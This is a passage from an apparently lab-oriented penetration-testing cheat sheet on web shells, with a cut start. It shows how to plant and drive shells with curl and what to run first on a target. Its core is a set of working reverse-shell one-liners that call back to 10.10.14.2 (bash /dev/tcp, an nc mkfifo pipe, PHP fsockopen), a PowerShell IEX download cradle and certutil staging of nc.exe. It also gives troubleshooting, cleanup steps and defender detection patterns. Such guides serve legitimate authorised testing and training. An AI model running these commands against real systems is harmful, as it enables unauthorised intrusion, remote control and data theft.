.php` |
| Jenkins | *Script Console* runs Groovy, so you don't need a file: `"cmd /c whoami".execute().text` |
| phpMyAdmin (root) | `SELECT '' INTO OUTFILE '/var/www/html/s.php'` from the SQL tab |
| Splunk / GitLab / PRTG | Use the built-in script or notification features. See [Attacking Common Applications](/sheets/pentest-workflow/attacking-common-applications-guide) |
## Driving the shell
Let `curl` do the URL-encoding. If you type `?cmd=id && hostname` by hand, the `&` ends the parameter and only `id` runs.
```bash
SHELL_URL='http://target.htb/uploads/shell.php'
curl -sG "$SHELL_URL" --data-urlencode 'cmd=id 2>&1'
curl -s "$SHELL_URL" --data-urlencode 'cmd=cat /etc/passwd' # POST, which keeps the query string short
curl -sG "$SHELL_URL" --data-urlencode 'cmd=whoami /priv' | sed -n '//,/<\/pre>/p'
```
Each request starts a fresh process. A `cd` does not carry over, interactive prompts hang, and `sudo` cannot read a password. Use absolute paths, chain commands into one request (`cd /opt && ls -la`), and append `2>&1` when the output is blank. For a pseudo-terminal, a small loop is enough:
```bash
while read -rp 'web$ ' c; do curl -sG "$SHELL_URL" --data-urlencode "cmd=$c 2>&1"; done
```
### First commands to run
```bash
# Linux
id; pwd; uname -a; command -v bash python3 perl php nc curl wget socat; ls -la /home
# Windows
whoami /all & hostname & ipconfig & where powershell
```
On Windows, check whether `whoami /priv` shows **SeImpersonatePrivilege**. The `IIS APPPOOL\*`, `NT AUTHORITY\NETWORK SERVICE` and MSSQL service accounts almost always have it, which means a Potato-family exploit can take you to SYSTEM. See the [Potato Attacks guide](/sheets/pentest-workflow/potato-attacks-guide).
## Upgrading to a reverse shell
A web shell is a stepping stone. Once you have confirmed execution, start a listener and send a reverse shell through it. Use port 443 or 80, since egress filters usually allow them.
```bash
nc -lvnp 443 # or: penelope -p 443 / pwncat-cs -lp 443 for an automatic PTY upgrade
```
```bash
# Linux targets, sent through the shell with --data-urlencode
bash -c 'bash -i >& /dev/tcp/10.10.14.2/443 0>&1'
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.2 443 >/tmp/f
php -r '$s=fsockopen("10.10.14.2",443);exec("/bin/sh -i <&3 >&3 2>&3");'
```
```powershell
# Windows targets: base64 UTF-16LE so the quoting survives cmd.exe
powershell -nop -w hidden -enc
# or stage nc.exe: certutil -urlcache -f http://10.10.14.2/nc.exe C:\Windows\Temp\nc.exe & C:\Windows\Temp\nc.exe 10.10.14.2 443 -e cmd.exe
```
```bash
# generate the -enc blob on the attack box
echo -n 'IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.2/rev.ps1")' | iconv -t UTF-16LE | base64 -w0
```
Stabilise the shell (`python3 -c 'import pty;pty.spawn("/bin/bash")'`, `Ctrl+Z`, `stty raw -echo; fg`, then `export TERM=xterm` and `stty rows/cols`) before you do privilege escalation. The full set of one-liners, msfvenom formats and TTY upgrades is in the [Foothold Toolkit](/sheets/pentest-workflow/foothold-shells-payloads-metasploit).
If you get no callback but commands still run, the cause is usually egress filtering, a wrong `LHOST` interface (tun0, not eth0), or a missing interpreter. Test the route with `curl http://10.10.14.2/x` or `certutil -urlcache -f http://10.10.14.2/x` before you blame the payload. If nothing gets out, work through the web shell, or tunnel over HTTP with a webshell tunnel like reGeorg/Neo-reGeorg.
## Troubleshooting
| Symptom | Likely cause | Check |
|---|---|---|
| Source shown or file downloads | No handler for that extension, or wrong language | `7*7` probe; re-fingerprint |
| IIS "Server Error in '/' Application" | VBScript in `.aspx`, or C# in `.asp` | Match the language to the extension |
| `404` right after "uploaded" | File was renamed, sits on another vhost, or is stored outside the webroot | Upload response body, `Host` header, `--resolve` |
| `403` | No execute permission on the upload directory, or a deny rule | Can you load a static file in the same directory? Check request filtering |
| Blank `200` | Exec function disabled, stderr lost, or no `cmd` parameter | Static marker; `2>&1`; `var_dump(ini_get('disable_functions'))` |
| Output truncated | Timeout or buffering | `passthru`; write a file and read it; switch to a reverse shell |
| Commands run, no callback | Egress filter, wrong `LHOST`, or missing interpreter | `curl http://LHOST/x` from the shell; check `tun0`; `ss -lntp` on the listener |
| WAR deploy returns `FAIL` | Context already exists or wrong Manager role | `GET /manager/text/list`; pick a unique path |
## Operational safety and cleanup
A web shell you leave behind is a live, unauthenticated backdoor, and the file on disk is the first thing a defender finds. Treat cleanup as part of the work.
- **Restrict access while it's live.** Laudanum `allowedIps`, Antak's login, or a non-obvious parameter name plus a shared secret. Don't leave an open `?cmd=` on a reachable host.
- **Record what you drop.** Keep the local and server filename, the URL, the SHA-256, and the time, so the report has an artifact ledger and nothing is left orphaned.
- **Remove everything** at the end: the shell, any staged tools (`nc.exe`, PrintSpoofer), uploaded WARs or plugins, and config changes (`.htaccess`, DNN extension list, Tomcat context). Verify the URL returns 404 afterwards.
- **Don't submit payloads to public VirusTotal.** It publishes the hash to every AV vendor and burns the sample.
```bash
sha256sum shell.php # before upload, for the evidence log
curl -fsS -u "$U:$P" "$BASE/manager/text/undeploy?path=/backup" # Tomcat undeploy
curl -s -o /dev/null -w '%{http_code}\n' "$SHELL_URL" # expect 404 after deletion
```
**What defenders grep for**, so you know what you're leaving: new files with a recent mtime in upload directories; scripts containing `system|shell_exec|passthru|eval|base64_decode|assert`; ASPX with `Process.Start` or ASP with `WScript.Shell`; odd `Content-Type` on stored uploads; outbound connections from `www-data`, `apache` or `IIS APPPOOL`; and access-log hits carrying `cmd=` or `?c=` query strings.
## See also
- [File Upload Attacks · HackTricks](/hacktricks/pentesting-web/file-upload/overview) — full upload bypass reference
- [Upload Insecure Files · PayloadsAllTheThings](/payloads/upload-insecure-files) — extension lists and config-file tricks
- [File Inclusion (LFI/RFI)](/sheets/web/file-inclusion) — LFI/RFI-to-RCE delivery
- [Command Injection Filter Bypass](/sheets/web/command-injection-filter-bypass) — the injection-side companion
- [Foothold Toolkit: Shells, Payloads, Metasploit](/sheets/pentest-workflow/foothold-shells-payloads-metasploit) — reverse shells and TTY upgrades
- [Attacking Common Applications](/sheets/pentest-workflow/attacking-common-applications-guide) — CMS and app enumeration
- [IIS — Internet Information Services](/hacktricks/network-services-pentesting/pentesting-web/iis-internet-information-services) — `web.config` execution, writable webroot
- [Potato Attacks](/sheets/pentest-workflow/potato-attacks-guide) — SeImpersonatePrivilege to SYSTEM